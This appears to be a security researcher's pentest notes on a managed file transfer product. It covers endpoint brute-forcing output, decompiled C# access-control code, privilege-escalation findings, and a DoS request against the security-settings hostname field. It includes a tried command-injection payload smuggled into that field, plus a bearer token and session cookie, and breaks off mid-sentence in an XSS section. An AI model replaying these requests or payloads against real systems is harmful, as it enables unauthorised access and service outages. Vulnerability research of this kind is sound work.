New Features of MDMFT
- User mapping used for linking MFT to MFT, MFT to โฆ (apply for all types of user)
- Credentials
- Shared space
- Integrations with SFTP, SMB, SPO
- Config time for active supervisor
- Clean install/uninstall
- Share file with custom group, when use, can not use private my files anymore
- Export user mapping, user list
- Authentication sources: two different domains can use the same SSO
Configuration
-
SMB: setup a share on the AD
-
SFTP: it uses SSH port so no need to setup
-
SSO: use Okta OIDC
-
P12 certificateโs password:
123
. Command to convert from.crt
to.p12
:openssl pkcs12 -export -out certificate.p12 -inkey private.key -in certificate.crt -certfile certificate.crt
-
Syslog: How to setup a simple Syslog server in windows using Syslog watcher.
Checklist
- Export C# source code
- Check vulnerable dependencies of Backend
- Access control
- File
- User
- User Mapping
- SPO Jobs
- MFA: 2FA/MFA/OTP Bypass | HackTricks
- Scope excluded endpoints
Recon
Nginx Config
Scan Nginx configs with SemGrep:
semgrep scan --max-target-bytes 10000000 dynamic.conf -o dynamic.conf.semgrep.log
Findings:
โฏ cat dynamic.conf.semgrep.log
โโโโโโโโโโโโโโโโโโโ
โ 3 Code Findings โ
โโโโโโโโโโโโโโโโโโโ
dynamic.conf
โฏโฑ generic.nginx.security.missing-internal.missing-internal
This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive.
The 'internal' directive restricts access to this location to internal requests. Without 'internal',
an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal'
directive in this block to limit exposure.
Details: https://sg.run/Q5px
17โ proxy_pass $upstream_uri;
โฎโ----------------------------------------
25โ proxy_pass $upstream_uri;
โฎโ----------------------------------------
32โ proxy_pass $upstream_uri;
Can also use yandex/gixy: Nginx configuration static analyzer.
Via the Nginx config files, found out that the internal backend runs on port 8001 and the Nginx server will forward any requests to that port.
Directory Brute-forcing
Scan with Feroxbuster:
feroxbuster -u http://localhost:8010/vault_rest --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt --output vault_rest.ferox.log --proxy 127.0.0.1:8080
Findings:
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/files
401 GET 1l 5w 102c http://localhost:8010/vault_rest/account
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/log
401 GET 1l 5w 102c http://localhost:8010/vault_rest/survey
401 GET 1l 5w 102c http://localhost:8010/vault_rest/jobs
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/accounts
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Files
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/groups
401 GET 1l 5w 102c http://localhost:8010/vault_rest/Account
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/guest
401 GET 1l 5w 102c http://localhost:8010/vault_rest/transfer
401 GET 1l 5w 102c http://localhost:8010/vault_rest/storage
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Log
401 GET 1l 5w 102c http://localhost:8010/vault_rest/VERSION
401 GET 1l 5w 102c http://localhost:8010/vault_rest/license
401 GET 1l 5w 102c http://localhost:8010/vault_rest/Survey
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/folder
401 GET 1l 5w 102c http://localhost:8010/vault_rest/Jobs
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Folder
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/scan
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/FILES
401 GET 1l 5w 102c http://localhost:8010/vault_rest/certificates
401 GET 1l 5w 102c http://localhost:8010/vault_rest/version
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Accounts
401 GET 1l 5w 102c http://localhost:8010/vault_rest/Storage
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/folders
401 GET 1l 5w 102c http://localhost:8010/vault_rest/LICENSE
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Groups
502 GET 7l 11w 150c http://localhost:8010/vault_rest/greetings
401 GET 1l 5w 102c http://localhost:8010/vault_rest/Transfer
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/certificate
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Guest
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/LOG
401 GET 1l 5w 102c http://localhost:8010/vault_rest/authenticate
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/token
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Certificate
401 GET 1l 5w 102c http://localhost:8010/vault_rest/License
502 GET 7l 11w 150c http://localhost:8010/vault_rest/greeting
502 GET 7l 11w 150c http://localhost:8010/vault_rest/greeting-cards
401 GET 1l 5w 102c http://localhost:8010/vault_rest/TRANSFER
401 GET 1l 5w 102c http://localhost:8010/vault_rest/Version
401 GET 1l 5w 102c http://localhost:8010/vault_rest/Certificates
502 GET 7l 11w 150c http://localhost:8010/vault_rest/greetingcards
401 GET 1l 5w 102c http://localhost:8010/vault_rest/Authenticate
401 GET 1l 5w 102c http://localhost:8010/vault_rest/JOBS
400 GET 6l 26w 324c http://localhost:8010/vault_rest/error%1F_log
401 GET 1l 5w 102c http://localhost:8010/vault_rest/permission
Those error endpoints need API key, specified in the Authorization
header:
Authorization: Bearer FmiMjisoE300BwoRSqQ9Sa5q1dfd0l
Note
The API key can be created in the Settings โ Security section. Remember to set a long expire time.
Seealso
Rescan with API key:
feroxbuster -u http://localhost:8010/vault_rest --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt --output vault_rest.with-apikey.ferox.log --proxy 127.0.0.1:8080 -H 'Authorization: Bearer FmiMjisoE300BwoRSqQ9Sa5q1dfd0l'
Findings:
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/files
200 GET 1l 3w 769c http://localhost:8010/vault_rest/account
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/log
403 GET 1l 7w 130c http://localhost:8010/vault_rest/survey
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/accounts
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Files
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/groups
200 GET 1l 3w 769c http://localhost:8010/vault_rest/Account
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/guest
200 GET 1l 1w 57c http://localhost:8010/vault_rest/storage
200 GET 1l 1w 276c http://localhost:8010/vault_rest/transfer
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Log
200 GET 1l 1w 58c http://localhost:8010/vault_rest/VERSION
200 GET 1l 1w 62c http://localhost:8010/vault_rest/license
403 GET 1l 7w 130c http://localhost:8010/vault_rest/Survey
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/folder
500 GET 0l 0w 0c http://localhost:8010/vault_rest/jobs
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Folder
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/scan
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/FILES
200 GET 1l 1w 176c http://localhost:8010/vault_rest/certificates
200 GET 1l 1w 58c http://localhost:8010/vault_rest/version
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Accounts
200 GET 1l 1w 57c http://localhost:8010/vault_rest/Storage
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/folders
500 GET 0l 0w 0c http://localhost:8010/vault_rest/Jobs
200 GET 1l 1w 62c http://localhost:8010/vault_rest/LICENSE
502 GET 7l 11w 150c http://localhost:8010/vault_rest/greetings
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Groups
200 GET 1l 1w 276c http://localhost:8010/vault_rest/Transfer
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/certificate
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Guest
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/LOG
500 GET 0l 0w 0c http://localhost:8010/vault_rest/authenticate
502 GET 7l 11w 150c http://localhost:8010/vault_rest/greeting
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/token
405 GET 14l 160w 1565c http://localhost:8010/vault_rest/Certificate
200 GET 1l 1w 62c http://localhost:8010/vault_rest/License
502 GET 7l 11w 150c http://localhost:8010/vault_rest/greeting-cards
200 GET 1l 1w 276c http://localhost:8010/vault_rest/TRANSFER
200 GET 1l 1w 58c http://localhost:8010/vault_rest/Version
200 GET 1l 1w 176c http://localhost:8010/vault_rest/Certificates
502 GET 7l 11w 150c http://localhost:8010/vault_rest/greetingcards
500 GET 0l 0w 0c http://localhost:8010/vault_rest/Authenticate
500 GET 0l 0w 0c http://localhost:8010/vault_rest/JOBS
400 GET 6l 26w 324c http://localhost:8010/vault_rest/error%1F_log
200 GET 1l 1w 3525c http://localhost:8010/vault_rest/permission
Scan with Feroxbuster for sft_rest
endpoint:
feroxbuster -u http://localhost:8010/sft_rest --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt --output sft_rest.ferox.log --proxy 127.0.0.1:8080
Findings:
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/files
401 GET 1l 5w 102c http://localhost:8010/sft_rest/account
401 GET 1l 5w 102c http://localhost:8010/sft_rest/license
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/log
401 GET 1l 5w 102c http://localhost:8010/sft_rest/survey
401 GET 1l 5w 102c http://localhost:8010/sft_rest/jobs
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/groups
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/accounts
401 GET 1l 5w 102c http://localhost:8010/sft_rest/version
401 GET 1l 5w 102c http://localhost:8010/sft_rest/transfer
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/guest
401 GET 1l 5w 102c http://localhost:8010/sft_rest/storage
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/folder
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/scan
401 GET 1l 5w 102c http://localhost:8010/sft_rest/certificates
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/folders
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/certificate
401 GET 1l 5w 102c http://localhost:8010/sft_rest/authenticate
502 GET 7l 11w 150c http://localhost:8010/sft_rest/greetings
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/token
502 GET 7l 11w 150c http://localhost:8010/sft_rest/greeting
404 GET 0l 0w 0c http://localhost:8010/sft_rest/greet
401 GET 1l 5w 102c http://localhost:8010/sft_rest/permission
502 GET 7l 11w 150c http://localhost:8010/sft_rest/greetingcards
502 GET 7l 11w 150c http://localhost:8010/sft_rest/greeting-cards
200 GET 1l 1w 89c http://localhost:8010/sft_rest/login_info
With API key:
feroxbuster -u http://localhost:8010/sft_rest --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt --output sft_rest.with-apikey.ferox.log --proxy 127.0.0.1:8080 -H 'Authorization: Bearer FmiMjisoE300BwoRSqQ9Sa5q1dfd0l'
Findings:
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/files
200 GET 1l 3w 769c http://localhost:8010/sft_rest/account
200 GET 1l 1w 62c http://localhost:8010/sft_rest/license
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/log
403 GET 1l 7w 130c http://localhost:8010/sft_rest/survey
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/groups
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/accounts
200 GET 1l 1w 58c http://localhost:8010/sft_rest/version
200 GET 1l 1w 276c http://localhost:8010/sft_rest/transfer
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/guest
200 GET 1l 1w 57c http://localhost:8010/sft_rest/storage
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/folder
500 GET 0l 0w 0c http://localhost:8010/sft_rest/jobs
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/scan
200 GET 1l 1w 176c http://localhost:8010/sft_rest/certificates
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/folders
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/certificate
500 GET 0l 0w 0c http://localhost:8010/sft_rest/authenticate
502 GET 7l 11w 150c http://localhost:8010/sft_rest/greetings
405 GET 14l 160w 1565c http://localhost:8010/sft_rest/token
502 GET 7l 11w 150c http://localhost:8010/sft_rest/greeting
404 GET 0l 0w 0c http://localhost:8010/sft_rest/greet
200 GET 1l 1w 3525c http://localhost:8010/sft_rest/permission
502 GET 7l 11w 150c http://localhost:8010/sft_rest/greetingcards
502 GET 7l 11w 150c http://localhost:8010/sft_rest/greeting-cards
200 GET 1l 1w 88c http://localhost:8010/sft_rest/login_info
Source Code
The application escapes special characters in filter condition of a LDAP query:
// LdapFilterCondition.cs
public string ToLdapSyntax()
{
string str = LdapFilterCondition.EscapeLdapQuerySyntax(this._value);
if (!this._exactMatch)
str = string.IsNullOrWhiteSpace(str) ? "*" : "*" + str + "*";
return "(" + this._attributeName + this._compareOperator.ToLdapSyntax() + str + ")";
}
private static string EscapeLdapQuerySyntax(string value)
{
if (string.IsNullOrWhiteSpace(value))
return value;
string str = value;
string[] strArray = new string[12]
{
"\\",
"(",
")",
"#",
"<",
">",
",",
"+",
";",
"\"",
" ",
"*"
};
foreach (string oldValue in strArray)
str = str.Replace(oldValue, string.Format("\\{0:X2}", (object) Convert.ToInt32(oldValue[0])));
return str;
}
The application will invoke the ToLdapSyntax()
function like this:
// ActiveDirectoryCommunicationChannel.cs
FindPaginatedGroupsResult paginatedGroupsResult = await this.QueryPaginatedGroupSnapshots(this._ldapFilterConditionBuilder.GetAllGroupsFilter(searchTerm).ToLdapSyntax(), SearchScope.Subtree, queryOffset, cancellationToken).ConfigureAwait(false);
Where the GetAllGroupsFilter()
function is used for building the filter condition:
// AdFilterConditionBuilder.cs
public ILdapFilterCondition GetAllGroupsFilter(string searchTerm = null)
{
return (ILdapFilterCondition) new LdapCompoundFilterCondition(LdapCombineOperator.And, new ILdapFilterCondition[3]
{
(ILdapFilterCondition) new LdapFilterCondition(LdapCompareOperator.Equal, "objectCategory", "group"),
(ILdapFilterCondition) new LdapFilterCondition(LdapCompareOperator.Equal, "objectClass", this.DirectoryPropertyNames.GroupObjectClass),
(ILdapFilterCondition) new LdapFilterCondition(LdapCompareOperator.Equal, "cn", searchTerm, false)
});
}
About how the application implements access control:
Some functions in RestHost.cs
will invoke ValidateTokenAuthorization()
function to validate the token:
[HandleExceptions("UpdateAccountWorkflows")]
public async Task<UpdateAccountResult> UpdateAccountWorkflows(Stream body)
{
IRestRequest restRequest = this.GetRestRequest();
string ipAddress = restRequest.ClientIpAddress;
IUser requestUser = await this.ValidateTokenAuthorization(restRequest, "Account.Update", this._cts.Token).ConfigureAwait(false);
UpdateAccountWorkflowsParameters workflowParams = this.DeserializeRequestBodyOrThrow<UpdateAccountWorkflowsParameters>(body);
UpdateAccountResult updateAccountResult = this.HandleAccountUpdateResult(await this._apiFactory.CreateUpdateAccountApi().UpdateAccountWorkflows(ipAddress, requestUser, workflowParams, this._cts.Token).ConfigureAwait(false));
ipAddress = (string) null;
return updateAccountResult;
}
The function definition:
private async Task<IUser> ValidateTokenAuthorization(
IRestRequest request,
string resource,
CancellationToken cancellationToken)
{
return await this.ValidateTokenAuthorization(request.Token, resource, request.ImpersonateAs, request.OwnerList, cancellationToken).ConfigureAwait(false);
}
The above function will call the following function:
private async Task<IUser> ValidateTokenAuthorization(
string token,
string resource,
string impersonatedUserName,
string ownerList,
CancellationToken cancellationToken)
{
if (string.IsNullOrEmpty(token))
{
this._log.Error((object) "Cannot authorize access to a resource using a [null] token");
RestHost.AddLogoutCookie(RestHost.GetSystemWebOpContext());
throw RestHost.GetThrowError(HttpStatusCode.Unauthorized, this._localization.Api().AuthenticationUnauthorized, UiMessageKey.AuthUnauthorized);
}
if (string.IsNullOrEmpty(resource))
{
this._log.Error((object) "Cannot authorize access to a [null] resource");
throw RestHost.GetThrowError(HttpStatusCode.Forbidden, this._localization.Api().UnauthorizedResource, UiMessageKey.AuthUnauthorizedResource);
}
AuthorizationResult authorization = await this._apiFactory.CreateAuthorizationApi().AuthorizeToken(token, resource, impersonatedUserName, ownerList, cancellationToken).ConfigureAwait(false);
RestHost.AddGlobalsCookie(token, authorization);
return this.ValidateAuthorization(authorization, token, resource);
}
The AuthorizeToken()
then invoke the Authorize()
function:
private async Task<AuthorizationResult> Authorize(IUser user, IAuthenticationToken authToken, string area, CancellationToken cancellationToken)
{
if (authToken.IsExpired(DateTimeUtil.GetCurrentDateUtc))
{
return Result(AuthorizationState.Unauthorized, user);
}
if (!user.IsEnabled())
{
return Result(AuthorizationState.Unauthorized, user);
}
return Result((await _roleBasedAccessController.AllowUser(user, area, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)) ? AuthorizationState.Authorized : AuthorizationState.Forbidden, user, authToken.Expires);
}
The AllowUser()
function of RoleBasedAccessController
:
public Task<bool> AllowUser(IUser user, string area, CancellationToken cancellationToken = default (CancellationToken))
{
return this.AllowUser(user, (IEnumerable<string>) new string[1]
{
area
}, cancellationToken);
}
public async Task<bool> AllowUser(
IUser user,
IEnumerable<string> areas,
CancellationToken cancellationToken = default (CancellationToken))
{
cancellationToken.ThrowIfCancellationRequested();
IReadOnlyCollection<IPermission> permissions = await this._providerFactory.PermissionProvider.GetByAreas(areas, cancellationToken).ConfigureAwait(false);
return await this.AllowUser(user, permissions, cancellationToken).ConfigureAwait(false);
}
After that, the GetByAreas()
function will query in the database for getting the permissions associated with the requested area
:
public async Task<IReadOnlyCollection<IPermission>> GetByAreas(
IEnumerable<string> areas,
CancellationToken cancellationToken = default (CancellationToken))
{
cancellationToken.ThrowIfCancellationRequested();
return await this.GetByFilterCondition((IFilterCondition) new CompoundFilterCondition(areas.Select<string, StringCompareFilterCondition>((System.Func<string, StringCompareFilterCondition>) (area => new StringCompareFilterCondition(nameof (area), area, CompareOperator.Equal))).Cast<IFilterCondition>().ToArray<IFilterCondition>(), CombineOperator.Or), cancellationToken).ConfigureAwait(false);
}
private async Task<IReadOnlyCollection<IPermission>> GetByFilterCondition(
IFilterCondition filterCondition,
CancellationToken cancellationToken = default (CancellationToken))
{
PermissionProvider permissionProvider = this;
cancellationToken.ThrowIfCancellationRequested();
IReadOnlyCollection<IPermission> byFilterCondition;
try
{
SqlCommandBase sqlCommandBase = permissionProvider.DataAccessProvider.PrepareStoredProcedure("vaultPermissionSelectByFilterCondition");
sqlCommandBase.AddParam("filterConditions", DbType.String, (object) filterCondition.Sql);
byFilterCondition = (IReadOnlyCollection<IPermission>) await sqlCommandBase.ExecuteReaderToAsync<IPermission>((Func<IPermission>) (() => (IPermission) new Permission()), cancellationToken).ConfigureAwait(false);
}
catch (DataAccessException ex)
{
throw new FailedToExecuteSpException("vaultPermissionSelectByFilterCondition", (Exception) ex);
}
return byFilterCondition;
}
After obtaining the list of permissions for the requested area
, the GetByUser()
method is invoked to retrieve the userโs permissions and verify whether they have access to the specified area
:
public async Task<bool> AllowUser(
IUser user,
IReadOnlyCollection<IPermission> permissions,
CancellationToken cancellationToken = default (CancellationToken))
{
cancellationToken.ThrowIfCancellationRequested();
bool objectFromCache = await MemoryCacheUtil.GetObjectFromCache<Task<bool>>("Licenser.IsUnlicensed", TimeSpan.FromMinutes(1.0), (Func<Task<bool>>) (async () => this._licenser.IsUnlicensed(await this._providerFactory.ConfigProvider.GetLicenseConfig(cancellationToken).ConfigureAwait(false))));
bool isLicensingOk = user.Status.IsEnabled() && !objectFromCache;
return !permissions.Any<IPermission>((Func<IPermission, bool>) (permission => !isLicensingOk && !RoleBasedAccessController.AppliesIfUnlicensed(permission.Area))) && permissions.IsSubsetOf<IPermission>(await this._providerFactory.PermissionProvider.GetByUser(user, cancellationToken).ConfigureAwait(false), PermissionByIdComparer.Instance);
}
Password hash is constructed by concatenating plain text password with a salt (which is a GUID) before hashing with SHA256:
string text = Security.GenerateSalt();
string passwordHash = _hashAlgorithm.ComputeHash(createAccountParameters.Password + text);
Example with Pentest@1337
as a password and 970996a7-a092-4100-902a-e7998f2c15fd
as a salt:
Vulnerabilities
CVEs
Newtonsoftโs CVE is prevented:
PDF.jsโs CVE:
PoCs:
- LOURC0D3/CVE-2024-4367-PoC: CVE-2024-4367 & CVE-2024-34342 Proof of Concept
- Masamuneee/CVE-2024-4367-Analysis
Broken Access Control
Info
The difference between regular roles and โThirdPartyโ roles is that โThirdPartyโ roles lack the
Account.SelfUpdate
permission.
Export User List
User with โUserโ role has no permission to export users:
However, they still can:
We can save exported file from Wireshark:
Password is provided via the archivepwd
header:
Attacker only has usernames and emails:
The source code requests the Account.Info
area, which is granted for almost everyone:
[HandleExceptions("Export Users")]
public async Task<Stream> ExportUsers()
{
ISystemWebOperationContext systemWebOpContext = RestHost.GetSystemWebOpContext();
systemWebOpContext.OutgoingResponse.ContentType = "application/x-zip-compressed";
systemWebOpContext.OutgoingResponse.Headers.Add("Content-Disposition", "attachment; filename=metadefender-managed-file-transfer-user-list.zip");
systemWebOpContext.OutgoingResponse.Headers.Add("filename", "metadefender-managed-file-transfer-user-list.zip");
return await this.ProxyRequestToNext("Account.Info").ConfigureAwait(false);
}
View File Status
Admin user can view status of his own file with a known file ID:
And a normal user can not view status of that file because he does not own it:
However, when the file is deleted permanently by the Admin:
The normal user can view status of that file:
PoC video:
Differences between two JSONs:
Update Workflow
Any user can update workflow of other users:
User with ID 1 is local admin by default:
Result:
The source code requests for Account.Update
, which is granted for almost every user:
[HandleExceptions("UpdateAccountWorkflows")]
public async Task<UpdateAccountResult> UpdateAccountWorkflows(Stream body)
{
IRestRequest restRequest = this.GetRestRequest();
string ipAddress = restRequest.ClientIpAddress;
IUser requestUser = await this.ValidateTokenAuthorization(restRequest, "Account.Update", this._cts.Token).ConfigureAwait(false);
UpdateAccountWorkflowsParameters workflowParams = this.DeserializeRequestBodyOrThrow<UpdateAccountWorkflowsParameters>(body);
UpdateAccountResult updateAccountResult = this.HandleAccountUpdateResult(await this._apiFactory.CreateUpdateAccountApi().UpdateAccountWorkflows(ipAddress, requestUser, workflowParams, this._cts.Token).ConfigureAwait(false));
ipAddress = (string) null;
return updateAccountResult;
}
There are some functions that have "Account.Update"
area such as "UpdateAccount"
:
[HandleExceptions("UpdateAccount")]
public async Task<UpdateAccountResult> UpdateAccount(string userId, Stream body)
{
IRestRequest restRequest = this.GetRestRequest();
string ipAddress = restRequest.ClientIpAddress;
IUser requestUser = await this.ValidateTokenAuthorization(restRequest, "Account.Update", this._cts.Token).ConfigureAwait(false);
UpdateAccountParameters account = this.DeserializeRequestBodyOrThrow<UpdateAccountParameters>(body);
long result;
if (!long.TryParse(userId, out result))
throw new WebFaultException(HttpStatusCode.BadRequest);
UpdateAccountResult updateAccountResult = this.HandleAccountUpdateResult(await this._apiFactory.CreateUpdateAccountApi().UpdateUser(ipAddress, requestUser, result, account, this._cts.Token).ConfigureAwait(false));
ipAddress = (string) null;
return updateAccountResult;
}
However, the logic in UpdateAnotherAccount()
function, which is called by UpdateUser()
function, has the following check:
if (!userStateReader.CanBeUpdatedBy(requestUser) || userStateReader.IsManaged() || requestUser.IsHelpdeskAdministrator && (account.Role == "Administrator" || account.Role == "ReadOnlyAdministrator"))
return this.UpdateUserUnauthorizedToUpdateAccountResult();
The CanBeUpdatedBy()
function:
public bool CanBeUpdatedBy(IUser requestUser)
{
if (!IsTheSameUser(requestUser) && RequestUserIsHigherThanCurrentUser(requestUser) && !IsUserRoleDisabled().GetAwaiter().GetResult() && _user.Status != UserStatus.Deleted)
{
return _user.Status != UserStatus.Unlicensed;
}
return false;
}
The RequestUserIsHigherThanCurrentUser()
function:
private bool RequestUserIsHigherThanCurrentUser(IUser requestUser)
{
if (requestUser.IsAdministrator)
{
return true;
}
if (requestUser.IsHelpdeskAdministrator)
{
if (!_user.IsAdministrator)
{
return !_user.IsReadOnlyAdministrator;
}
return false;
}
if (_user.IsGuest && IsOwnerForGuest(requestUser))
{
return true;
}
if (_user.IsExternalUser)
{
return IsOwnerForExternalUser(requestUser);
}
return false;
}
Similarly, there is a function named CanChangeStatusBy()
that is used for changing user status.
Reset MFA
Similar with the previous vulnerability pattern:
Source code:
[HandleExceptions("Reset User's MFA setup")]
public async Task<ResetUserMfaResult> ResetUserMfa(string userId)
{
IRestRequest restRequest = this.GetRestRequest();
string ipAddress = restRequest.ClientIpAddress;
IUser user = await this.ValidateTokenAuthorization(restRequest, "Account.Update", this._cts.Token).ConfigureAwait(false);
long result;
if (!long.TryParse(userId, out result))
throw new WebFaultException(HttpStatusCode.BadRequest);
ResetUserMfaResult resetUserMfaResult1 = await this._apiFactory.CreateAuthApi().ResetUserMfa(result, ipAddress, this._cts.Token).ConfigureAwait(false);
switch (resetUserMfaResult1.Result)
{
case ResetUserMfaResult.ResultType.Success:
ResetUserMfaResult resetUserMfaResult2 = resetUserMfaResult1;
ipAddress = (string) null;
return resetUserMfaResult2;
case ResetUserMfaResult.ResultType.ErrorActiveSecretKeyNotFound:
throw Thrower.GetThrowError(HttpStatusCode.BadRequest, resetUserMfaResult1.Message, resetUserMfaResult1.UiMessageKey);
case ResetUserMfaResult.ResultType.ErrorUserNotFound:
throw Thrower.GetThrowError(HttpStatusCode.BadRequest, resetUserMfaResult1.Message, resetUserMfaResult1.UiMessageKey);
case ResetUserMfaResult.ResultType.ErrorMfaDisabled:
throw Thrower.GetThrowError(HttpStatusCode.BadRequest, resetUserMfaResult1.Message, resetUserMfaResult1.UiMessageKey);
default:
throw new ArgumentOutOfRangeException("Unexpected result type: " + resetUserMfaResult1.Result.ToString());
}
}
The ResetUserMfa()
function does not have any validation.
Read/Update User Mapping
Helpdesk admin can not read/update user mapping of other admins via the UI:
However, helpdesk admin still can send requests directly to the server.
Read:
Add:
Update:
Delete:
The reason is that helpdesk admin has permissions to do those actions:
// opswat.vault.sql.Sql.MsSql.Tenant.Update.355.sql
INSERT INTO [vaultAccessRolePermissions]
([roleId], [permissionArea])
VALUES (@administratorId, 'Alteregos.Read'),
(@administratorId, 'Alteregos.Write'),
(@thirdPartyAdministratorId, 'Alteregos.Read'),
(@thirdPartyAdministratorId, 'Alteregos.Write'),
(@helpdeskAdministratorId, 'Alteregos.Read'),
(@helpdeskAdministratorId, 'Alteregos.Write'),
(@thirdPartyHelpdeskAdministratorId, 'Alteregos.Read'),
(@thirdPartyHelpdeskAdministratorId, 'Alteregos.Write'),
(@readOnlyAdministratorId, 'Alteregos.Read'),
(@thirdPartyReadOnlyAdministratorId, 'Alteregos.Read'),
(@auditorId, 'Alteregos.Read'),
(@thirdPartyAuditorId, 'Alteregos.Read');
GO
Permanent Delete
A file of admin:
Helpdesk admin can permanently delete files with known IDs even though he can not view processing history.
The flaw is in this code:
public bool CanFileBeDeletedBy(IUser user)
{
if (!IsAdminSafe(user) && !IsHelpdeskAdminSafe(user))
{
if (FileIsOwnedBy(user))
{
return DoesAdminAllowUsersToDeleteFile();
}
return false;
}
return true;
}
Where IsHelpdeskAdminSafe(user)
is true.
Alterego
Readonly and helpdesk roles can read and export alteregos, although they canโt do on the UI.
Moreover, helpdesk role can also modify alteregos of any user, including the default admin.
Read Supervisors
Everyone can read list of supervisors (regular/restricted) even though some users can not do it on the UI:
Most of the supervisors are AD users.
The permission area is Settings.Supervisor.Global.Read
.
DoS
Update Hostname in Security Settings
POST /vault_rest/settings/security HTTP/1.1
Host: localhost:8010
Content-Length: 344
sec-ch-ua-platform: "Windows"
Cache-control: max-age=0, private, no-cache, no-store, must-revalidate
Accept-Language: en-US,en;q=0.9
Pragma: no-cache
sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://localhost:8010
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8010/settings/security/server
Accept-Encoding: gzip, deflate, br
Cookie: globals=eyJjdXJyZW50VXNlciI6eyJhdXRoIjp7ImV4cGlyZXMiOiJGcmksIDMxIERlYyA5OTk5IDIzOjU5OjU5IEdNVCIsInRva2VuIjoiZGRvWXhGcWVoVE5DZTFTRWt3eGo2dWZoMHpYbGEyIn19fQ==
Connection: keep-alive
{"is_enabled":false,"certificate_guid":null,"host":"le11-d9448/","port":8010,"tls_1_3":false,"tls_1_2":false,"rate_limit_settings":{"is_rate_limit_enabled":true,"shared_memory_size":10,"rate":10,"burst_size":20,"no_delay":true},"redirect_settings":{"is_enabled":false,"port":80},"tls_1_1":false,"tls_1_0":false}
The injection point is the host
field. If the server responds with a status code of 200, it will crash shortly afterward because the hostname, while URL-valid, cannot be used to connect to the database.
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Dec 2024 03:04:34 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Set-Cookie: globals=eyJjdXJyZW50VXNlciI6eyJhdXRoIjp7ImV4cGlyZXMiOiJGcmksIDMxIERlYyA5OTk5IDIzOjU5OjU5IEdNVCIsInRva2VuIjoiZGRvWXhGcWVoVE5DZTFTRWt3eGo2dWZoMHpYbGEyIn19fQ==;Expires=Fri, 31 Dec 9999 23:59:59 GMT;Path=/;HttpOnly;SameSite=Strict;,globals=e30=;Expires=Mon, 01 Jan 0001 00:00:00 GMT;Path=/;
Content-Security-Policy: frame-ancestors none;
X-Frame-Options: DENY
Cache-Control: max-age=60, must-revalidate
Content-Length: 117
{"message":null,"ui_message_key":null,"redirect_url":"http:\/\/
I attempted to perform Remote Code Execution (RCE) using the payload le11-d9448//#ipconfig | dir > test.txt | REM
, but it was unsuccessful.
Command to recover the service:
"C:\Program Files\OPSWAT\MetaDefender Managed File Transfer\Tools\ChangeProtocol.exe" http://le11-d944:8010 "True" "10" "10" "20" "True" "False" "80"
Stored XSS
The application uses mganss/HtmlSanitizer library for sanitizing the SVG image. However, the custom Sanitize
